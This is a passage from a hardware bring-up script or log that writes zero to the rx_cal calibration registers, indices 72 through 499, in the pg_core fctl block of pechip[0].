bringup jspec write pechip[0] register pg_core fctl rx_cal 72 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 73 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 74 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 75 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 76 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 77 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 78 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 79 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 80 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 81 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 82 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 83 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 84 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 85 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 86 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 87 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 88 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 89 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 90 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 91 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 92 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 93 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 94 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 95 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 96 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 97 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 98 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 99 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 100 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 101 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 102 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 103 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 104 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 105 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 106 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 107 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 108 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 109 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 110 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 111 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 112 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 113 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 114 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 115 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 116 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 117 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 118 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 119 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 120 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 121 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 122 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 123 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 124 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 125 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 126 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 127 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 128 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 129 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 130 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 131 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 132 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 133 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 134 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 135 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 136 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 137 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 138 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 139 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 140 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 141 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 142 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 143 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 144 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 145 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 146 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 147 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 148 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 149 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 150 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 151 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 152 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 153 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 154 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 155 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 156 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 157 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 158 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 159 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 160 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 161 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 162 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 163 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 164 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 165 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 166 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 167 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 168 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 169 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 170 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 171 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 172 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 173 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 174 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 175 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 176 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 177 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 178 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 179 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 180 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 181 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 182 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 183 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 184 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 185 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 186 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 187 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 188 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 189 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 190 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 191 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 192 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 193 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 194 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 195 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 196 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 197 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 198 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 199 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 200 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 201 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 202 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 203 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 204 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 205 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 206 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 207 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 208 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 209 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 210 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 211 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 212 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 213 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 214 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 215 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 216 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 217 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 218 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 219 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 220 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 221 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 222 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 223 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 224 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 225 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 226 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 227 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 228 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 229 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 230 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 231 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 232 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 233 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 234 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 235 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 236 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 237 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 238 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 239 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 240 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 241 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 242 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 243 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 244 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 245 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 246 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 247 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 248 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 249 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 250 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 251 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 252 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 253 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 254 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 255 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 256 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 257 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 258 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 259 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 260 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 261 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 262 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 263 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 264 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 265 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 266 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 267 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 268 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 269 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 270 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 271 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 272 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 273 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 274 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 275 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 276 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 277 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 278 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 279 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 280 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 281 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 282 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 283 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 284 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 285 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 286 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 287 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 288 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 289 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 290 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 291 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 292 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 293 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 294 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 295 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 296 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 297 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 298 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 299 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 300 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 301 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 302 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 303 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 304 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 305 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 306 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 307 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 308 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 309 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 310 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 311 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 312 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 313 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 314 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 315 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 316 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 317 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 318 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 319 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 320 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 321 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 322 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 323 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 324 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 325 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 326 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 327 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 328 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 329 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 330 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 331 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 332 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 333 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 334 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 335 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 336 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 337 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 338 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 339 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 340 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 341 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 342 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 343 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 344 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 345 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 346 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 347 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 348 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 349 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 350 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 351 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 352 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 353 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 354 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 355 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 356 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 357 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 358 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 359 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 360 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 361 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 362 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 363 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 364 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 365 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 366 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 367 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 368 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 369 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 370 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 371 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 372 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 373 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 374 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 375 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 376 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 377 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 378 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 379 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 380 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 381 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 382 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 383 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 384 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 385 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 386 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 387 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 388 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 389 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 390 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 391 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 392 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 393 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 394 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 395 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 396 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 397 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 398 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 399 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 400 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 401 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 402 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 403 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 404 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 405 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 406 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 407 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 408 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 409 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 410 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 411 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 412 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 413 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 414 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 415 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 416 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 417 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 418 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 419 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 420 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 421 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 422 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 423 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 424 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 425 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 426 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 427 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 428 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 429 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 430 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 431 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 432 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 433 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 434 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 435 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 436 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 437 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 438 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 439 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 440 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 441 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 442 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 443 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 444 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 445 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 446 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 447 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 448 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 449 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 450 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 451 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 452 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 453 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 454 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 455 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 456 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 457 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 458 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 459 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 460 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 461 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 462 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 463 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 464 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 465 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 466 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 467 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 468 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 469 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 470 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 471 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 472 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 473 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 474 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 475 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 476 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 477 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 478 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 479 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 480 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 481 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 482 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 483 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 484 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 485 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 486 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 487 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 488 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 489 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 490 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 491 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 492 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 493 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 494 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 495 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 496 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 497 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 498 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 499 0x000000000
